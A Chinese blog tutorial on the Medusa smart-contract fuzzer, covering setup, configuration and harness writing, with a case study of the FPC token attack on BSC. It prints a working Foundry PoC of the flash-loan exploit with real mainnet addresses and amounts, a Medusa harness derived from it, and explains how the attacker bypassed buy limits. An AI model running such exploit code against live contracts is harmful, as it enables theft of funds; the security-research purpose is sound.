Medusa - 智能合约 Fuzzing 工具介绍与案例讲解

背景

Fuzz(模糊测试)是一种通过自动生成大量随机或半随机输入来测试程序,以发现意外行为、崩溃或漏洞的软件测试技术。
Medusa 是由 Trail of Bits 开发的开源智能合约模糊测试工具,基于 go-ethereum 构建,灵感来源于其前身 Echidna。它专门用于检测 Solidity 智能合约中的漏洞和逻辑错误。
Medusa 的核心工作原理是:开发者定义一组不变量(即在任何情况下都应保持为真的条件),工具会自动生成大量随机交易序列尝试违反这些不变量。一旦某个交易序列导致不变量返回 false,即表明发现了潜在漏洞。
Medusa 还支持链上合约 fork 测试、HTML 覆盖率报告生成等功能,适用于从开发阶段的安全测试到专业审计的各类场景。

部署与使用

接下来直接进入正题,如何安装、配置以及使用 Medusa

安装

运行以下的命令安装 medusa 的最新版本:

go install github.com/crytic/medusa@latest

合约项目创建

首先创建一个 foundry 项目,将需要 fuzz 的代码放到该项目中,完成相关的配置,确保能够成功 build。

foundry 开发框架:https://getfoundry.sh/

Medusa 创建与配置

在 foundry 项目路径下执行 medusa init 命令,将会在目录下创建一个 medusa.json 文件,这是 fuzz 的配置文件。
其中有一些关键的配置项:

1. targetContracts:要 fuzz 的合约名称(后续会编写对应的 Fuzz 合约)
2. Fork 配置:
	- forkModeEnabled: 开启 fork 模式
	- rpcUrl: 链的 RPC 节点
	- rpcBlock: fork 的区块高度
3. cheatCodes:可以采用部分的 foundry cheat code,且使用方法按照 medusa 文档提供的方式使用。
4. 性能配置:
  1. workers:同时工作的核心数
  2. callSequenceLength:单次调用序列最大长度(一次调用最多可以执行多少个函数)
  3. timeout:运行时间

在配置完成后,可以执行以下代码开始 fuzz,其中 --config 参数支持指定配置文件,不指定默认为 medusa.json 文件。

medusa fuzz --config medusa.onchain.json

Fuzz 函数编写

函数介绍

使用 Medusa 对合约进行 fuzz 需要编写两种函数:

  • 公共函数:externalpublic 类型的函数。
  • property 函数:函数名称为 property_* 的函数,在函数内编写需要检查的不变量条件(比如所有用户余额的总和小于 totalSupply)。
    因为 Medusa 在 fuzzing 的过程中,首先会把合约的 public/external 函数都当成“可调用动作”,它会随机组合若干个公共函数作为调用链,按顺序进行调用。在执行完调用链后,会调用所有的 property 函数进行检查,如果有任意告警条件被触发,返回 fuzz 成功的结果。

如果存在不需要在 fuzz 过程中被直接调用的函数(比如 callback 类型函数),需要添加检查限制,如果不满足调用条件直接 return(比如 msg.sender == POOL),否则会 revert 从而浪费大量的资源。

合约介绍

首先,需要根据 fuzz 的场景选择不同的编写方案:

  1. 如果是本地 fuzz,不涉及到链上状态。那么可以新建一个 fuzz 合约,对目标合约进行继承,然后编写相关的 property 函数进行检查。targetContracts 选择 fuzz 合约。
  2. 如果是 fork fuzz,需要在链上状态基础上进行。那么可以新建一个 fuzz 合约,设计好所需要的公共函数,负责调用目标合约的每个功能,然后编写相关的 property 函数进行检查。targetContracts 选择 fuzz 合约。

在 fork fuzz 场景的公共函数中,每个输入的参数都由 medusa 提供,由于输入是变化的,所以要手工做很多输入值和中间值的检查,不符合的直接 return。

实战案例

接下来通过一个漏洞代币的案例来进行实战分析,由于是初次尝试使用 Medusa,所以采取先了解漏洞,再编写能够将漏洞测出来的 fuzz 规则的方式进行。

案例介绍

案例采用的是我们之前做过分析的 FPC Token 攻击事件

FPC 是 BPE-20 项目,实现了复杂的交易机制,包括买卖手续费、流动性池燃烧机制、限制交易频率、限制交易数量等功能。漏洞产生的原因是当用户卖出代币时,合约会从流动性池中燃烧代币(而非从卖出者余额中燃烧),导致池子中 FPC 代币数量减少,价格抬高。

攻击流程如下:

  1. 攻击者通过闪电贷获得大量的 USDT
  2. 在 [FPC, USDT] 池子中购买大量的 FPC
  3. 把 FPC 转移到新的地址中
  4. 出售所有的 FPC:先触发流动性池燃烧机制,推高了 FPC 的价格,然后再计算出售获得的 USDT,从而获得超额的利润。

image

Fuzz 合约编写

首先复现了这个攻击的 PoC,然后根据 PoC 来编写 Medusa 的 fuzz 合约。

PoC

使用时请自行替换 YOUR_RPC 为 RPC 链接。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

/// @notice Minimal interfaces used by this PoC (avoid importing full ABIs).
interface IPancakeV3PoolLike {
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}

/// @dev Kept for reference; this PoC uses `vm.startPrank/stopPrank`.
interface IStdCheats {
    // Sets the *next* call's msg.sender to be the input address
    function prank(address) external;

    // Sets all subsequent call's msg.sender (until stopPrank is called) to be the input address
    function startPrank(address) external;

    // Stops a previously called startPrank
    function stopPrank() external;
}

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Router02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IPancakeV3Pool {
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
    function mint(address recipient, uint256 amount0, uint256 amount1) external;
    function burn(address to, uint256 amount0, uint256 amount1) external;
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
    function sync() external;
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function token0() external view returns (address);
    function token1() external view returns (address);
}

/// @title FPC exploit PoC (BSC mainnet fork)
/// @notice This test is a forked, on-chain PoC focusing on the transaction shape.
contract FPCExploitForkTest is Test {
    // ----------------------------
    // Constants (BSC mainnet)
    // ----------------------------
    address public constant USDT = 0x55d398326f99059fF775485246999027B3197955;
    address public constant FPC = 0xB192D4A737430AA61CEA4Ce9bFb6432f7D42592F;

    /// @notice Pancake V3 pool used as the flash source (USDT/USDC pool).
    address public constant FLASH_POOL_ADDR = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
    address public constant ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address public constant POOL = 0xa1e08E10Eb09857A8C6F2Ef6CCA297c1a081eD6B;

    /// @notice Attacker EOA (as observed on-chain).
    address public constant HACKER = 0xC2a81942627f6929521397eef6173F271D1fB456;

    /// @notice Flashloan amount used in the PoC (units: USDT 18 decimals on BSC).
    uint256 public constant FLASHLOAN_AMOUNT = 23020000 ether;

    /// @dev Fork to the target block height to match on-chain state at exploitation time.
    function setUp() public {
        vm.createSelectFork("YOUR_RPC", 52624700);
    }

    /// @notice Entry point: request a USDT flash and rely on the callback for execution.
    function test_exploit() public {
        IERC20(USDT).approve(ROUTER, type(uint256).max);
        IERC20(FPC).approve(ROUTER, type(uint256).max);

        // 1. Flashloan USDT from Pancake V3 Pool
        IPancakeV3PoolLike(FLASH_POOL_ADDR).flash(address(this), FLASHLOAN_AMOUNT, 0, "0x00");
    }

    /// @notice Pancake V3 flash callback.
    /// @dev The body intentionally mirrors the PoC transaction sequence.
    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        // 2. Swap against target pool to acquire FPC
        IPancakeV3Pool(POOL).swap(1e18, 790178970489172772916652, address(this), "0x00");

        // 3. Transfer FPC to hacker EOA
        IERC20(FPC).transfer(HACKER, IERC20(FPC).balanceOf(address(this)));

        // 4. Sell FPC -> USDT via router (as hacker)
        address[] memory sellPath = new address[](2);
        sellPath[0] = FPC;
        sellPath[1] = USDT;

        vm.startPrank(HACKER);
        IERC20(FPC).approve(ROUTER, type(uint256).max);
        IUniswapV2Router02(ROUTER)
            .swapExactTokensForTokensSupportingFeeOnTransferTokens(
                247441170766403071054109, 0, sellPath, address(this), block.timestamp
            );
        vm.stopPrank();

        // 5. Repay flash + fee and log remaining USDT as profit
        uint256 repayAmount = FLASHLOAN_AMOUNT + fee0;
        IERC20(USDT).transfer(FLASH_POOL_ADDR, repayAmount);
        console.log("profit:", IERC20(USDT).balanceOf(address(this)));
    }

    /// @notice Pancake V2-style callback (for pool interactions).
    /// @dev Included to match the PoC behavior; sender/amount args are intentionally unused.
    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        IERC20(USDT).transfer(POOL, 23020001000000000000000000);
    }
}

Fuzz 合约

  • fuzz_swap() 函数的 flashloanAmount 参数是由 medusa 提供的随机值。
  • pancakeV3FlashCallback 和 pancakeCall 函数为了避免被直接调用会在开始时检查调用者,不符合的直接 return 不中断 fuzz sequence 的调用。

保存到 src/OnchainExploitDetector.sol 文件中

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import {console} from "forge-std/console.sol";

/// @notice Minimal interfaces used by this harness (avoid importing full ABIs).
interface IPancakeV3PoolLike {
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}

interface IStdCheats {
    function prank(address) external;
    function startPrank(address) external;
    function stopPrank() external;
}

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Router02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
}

/// @notice Minimal pool interface needed by the harness.
interface IPancakeV3Pool {
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
    function mint(address recipient, uint256 amount0, uint256 amount1) external;
    function burn(address to, uint256 amount0, uint256 amount1) external;
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
    function sync() external;
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function token0() external view returns (address);
    function token1() external view returns (address);
}

/// @title Onchain exploit detector (Medusa/Property-based fuzz harness)
/// @notice Stateful harness that flags a post-repay positive USDT remainder.
/// @dev Medusa convention:
/// - `fuzz_*` functions are used as actions in generated call sequences
/// - `property_*` functions are checked as invariants/properties
contract OnchainExploitDetector {
    // ----------------------------
    // Addresses / dependencies (BSC mainnet)
    // ----------------------------
    IStdCheats cheats = IStdCheats(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    address public constant USDT = 0x55d398326f99059fF775485246999027B3197955;
    address public constant FPC = 0xB192D4A737430AA61CEA4Ce9bFb6432f7D42592F;

    /// @notice Pancake V3 pool used as flash source (USDT/USDC).
    address public constant FLASH_POOL_ADDR = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
    address public constant ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address public constant POOL = 0xa1e08E10Eb09857A8C6F2Ef6CCA297c1a081eD6B;

    /// @notice Attacker EOA (as observed on-chain).
    address public constant HACKER = 0xC2a81942627f6929521397eef6173F271D1fB456;

    // ----------------------------
    // Fuzz state
    // ----------------------------
    uint256 private startUsdtBalance;
    bool private usdtNotIncreased;

    /// @dev Pre-approve router spending for this harness address to reduce fuzz noise.
    constructor() {
        IERC20(USDT).approve(ROUTER, type(uint256).max);
        IERC20(FPC).approve(ROUTER, type(uint256).max);
    }

    /// @notice Fuzz action: take a flashloan and execute the swap path via callback.
    /// @param flashloanAmount Flash amount chosen by the fuzzer (USDT).
    function fuzz_swap(uint256 flashloanAmount) external {
        startUsdtBalance = IERC20(USDT).balanceOf(HACKER);
        // 1. Flashloan USDT from Pancake V3 Pool

        bytes memory data = abi.encode(flashloanAmount);
        IPancakeV3PoolLike(FLASH_POOL_ADDR).flash(address(this), flashloanAmount, 0, data);
    }

    /// @notice Pancake V3 flash callback.
    /// @dev Guarded by `msg.sender` to avoid arbitrary external driving of the sequence.
    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        if (msg.sender != FLASH_POOL_ADDR) return;
        // 2. Buy FPC with USDT balance
        uint256 usdtAmount = IERC20(USDT).balanceOf(address(this));

        // Quote expected out amount for the buy, then swap against the target pool
        address[] memory path0 = new address[](2);
        path0[0] = USDT;
        path0[1] = FPC;
        uint256 buyAmount = usdtAmount - 1e18;
        uint256[] memory amounts = IUniswapV2Router02(ROUTER).getAmountsOut(buyAmount, path0);
        uint256 fpcAmount = amounts[1];

        IPancakeV3Pool(POOL).swap(1e18, fpcAmount, address(this), "0x00");

        // 3. Transfer FPC to Hacker
        IERC20(FPC).transfer(HACKER, IERC20(FPC).balanceOf(address(this)));

        // 4. Sell FPC back to USDT (as hacker)
        uint256 sellAmount = IERC20(FPC).balanceOf(HACKER);
        address[] memory path1 = new address[](2);
        path1[0] = FPC;
        path1[1] = USDT;

        cheats.startPrank(HACKER);
        IERC20(FPC).approve(ROUTER, type(uint256).max);
        IUniswapV2Router02(ROUTER)
            .swapExactTokensForTokensSupportingFeeOnTransferTokens(sellAmount, 0, path1, address(this), block.timestamp);
        cheats.stopPrank();

        // 5. Repay Flashloan
        uint256 flashloanAmount = abi.decode(data, (uint256));
        uint256 repayAmount = flashloanAmount + fee0;
        uint256 currentBalance = IERC20(USDT).balanceOf(address(this));

        // If we cannot repay, the flashloan will revert at the pool level.
        if (currentBalance < repayAmount) {
            return;
        }

        IERC20(USDT).transfer(FLASH_POOL_ADDR, repayAmount);

        // If any USDT remains after repayment, flag it for the property to catch.
        uint256 remainingBalance = IERC20(USDT).balanceOf(address(this));
        if (remainingBalance > 0) {
            usdtNotIncreased = true;
        }
    }

    /// @notice Pancake V2-style callback.
    /// @dev Guarded by `msg.sender` to avoid arbitrary external driving of the sequence.
    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        if (msg.sender != POOL) return;
        uint256 usdtAmount = IERC20(USDT).balanceOf(address(this));
        IERC20(USDT).transfer(POOL, usdtAmount);
    }

    /// @notice Medusa property: must never observe a post-repay positive USDT remainder.
    /// @dev If `usdtNotIncreased` flips true, we intentionally fail to surface the counterexample.
    function property_user_usdt_not_increased() external view returns (bool) {
        if (usdtNotIncreased) assert(false); // alert
        return true;
    }
}

执行 medusa fuzz --config medusa.onchain.json 命令开始执行
image

这行是 Medusa fuzz 运行时的实时统计,各字段含义如下(以下面这条为例):

fuzz: elapsed: 2m12s, calls: 336480 (2531/sec), seq/s: 50, branches hit: 1115, corpus: 3, failures: 0/6725, gas/s: 2422662009

  • elapsed: 2m12s:已运行时间。
  • calls: 336480 (2531/sec):累计执行了 336,480 次“合约调用”(单次 fuzz 里对某个函数的一次调用),括号里是平均每秒 calls 数。
  • seq/s: 50:每秒生成/执行的“调用序列”(call sequence)数量。一个序列里会包含多次 calls(由 callSequenceLength 等配置影响)。
  • branches hit: 1115:当前覆盖到的分支数量(coverage 的一个指标;越高说明探索到的路径越多)。
  • corpus: 3:当前保存的“有效输入样本”数量(能带来新覆盖或更优路径的 seed/序列会进入 corpus,供后续变异)。
  • failures: 0/6725:失败数量/失败总次数。你这里表示 0 个“导致测试失败的用例”,但期间一共发生过 6725 次非致命失败/回退(revert/invalid) 被记录(通常不算 test failure,除非触发了断言失败或配置为失败即停)。
  • gas/s: 2422662009:每秒消耗的 gas 总量(吞吐量指标;越高通常表示执行更“重”或更快)。

当 fuzz 出发了 property 的告警条件后,会显示相关的内容,包括 fuzz trace,property trace,report。

image

  • fuzz trace:能够触发告警的 Call trace
  • property trace:触发的相关告警
  • report:fuzz 情况的报告,包括覆盖率(debug 的时候也用得上)

Fuzz 报告

打开 crytic-export/coverage/coverage_report.html 查看 Fuzz 报告
覆盖率达到了 91.7 %,绿色部分代码是在 fuzz 过程中被调用到的,红色则是没有被调用。
image

复盘与感悟

Q:为什么采用模仿 PoC 的方式编写 fuzz 函数,而不是以更通用的方式编写 fuzz 函数?
A:一开始是以更通用的方式编写的 fuzz 函数,但是一直 fuzz 不出来结果,覆盖率也有异常。

因为一开始是直接围绕着 FPC Token 攻击事件分析文档中的 rootcause “流动性燃烧机制”来编写 fuzz 函数的。在项目类型明确,漏洞发生机制清楚的情况下,写出来的 fuzz 函数依旧无法得到结果。

Worker = 8,跑了两个小时,机器已经发热得烫手了,没有继续跑下去了。复盘后发现我当时 fuzz 函数的写法是永远跑不出结果的......

随后只能先复现 PoC,再根据 PoC 来写 fuzz 函数。而在复现的过程中发现了漏洞的更多细节,是第一遍分析的时候没有留意到的。

由于这个代币除了有最大购买额度的限制。还有购买频率的限制,黑客通过一些很巧妙的操作绕过了这两个机制。

  1. 绕过最大购买额度的限制:直接通过 pool 大量购买 FPC 时同时换出 1 个 USDT,目的就为了欺骗 _isLiquidity 函数的检查,伪装成移除流动性的操作,绕过了最大购买额度的限制。
    CALLCake-LP.swap(amount0Out=1,000,000,000,000,000,000, amount1Out=790,178,970,489,172,772,916,652)
    
  2. 绕过购买频率的限制:购买频率限制了距离上次买卖操作三个区块后才可以再次买卖,黑客在购买到了大量 FPC 代币后,将其 transfer 给了另一个地址进行卖出(在 trace 截图的 32 行),绕开了这个限制。

所以在考虑通用性的前提下编写可用的 fuzz 函数时,需要深入研究代码,了解项目所涉及的所有机制。

需要把协议运行过程中所有涉及的内容都考虑进去,包括但不限于:

  1. 协议本身的所有函数调用
  2. 协议相关的特权地址
  3. 与协议相关的所有合约,他们的所有函数调用(甚至相关合约的相关合约)
  4. 区块链的状态改变

Q:那么有哪些场景适合使用 fuzz 进行漏洞发掘呢?

根据对 Medusa 的使用体验与 fuzz 函数编写要求来看,fuzz 可能更适用于应用在数学计算方面。用来解决“我觉得这里可能有边缘场景的问题,但是我没办法举出来一个例子”的困境,比如说收益曲线,流动性曲线,份额比例,借贷比例等。
这一点在官方文档中也有所提及
image

posted @ 2026-01-31 00:04  ACai_sec  阅读(0)  评论(0)    收藏  举报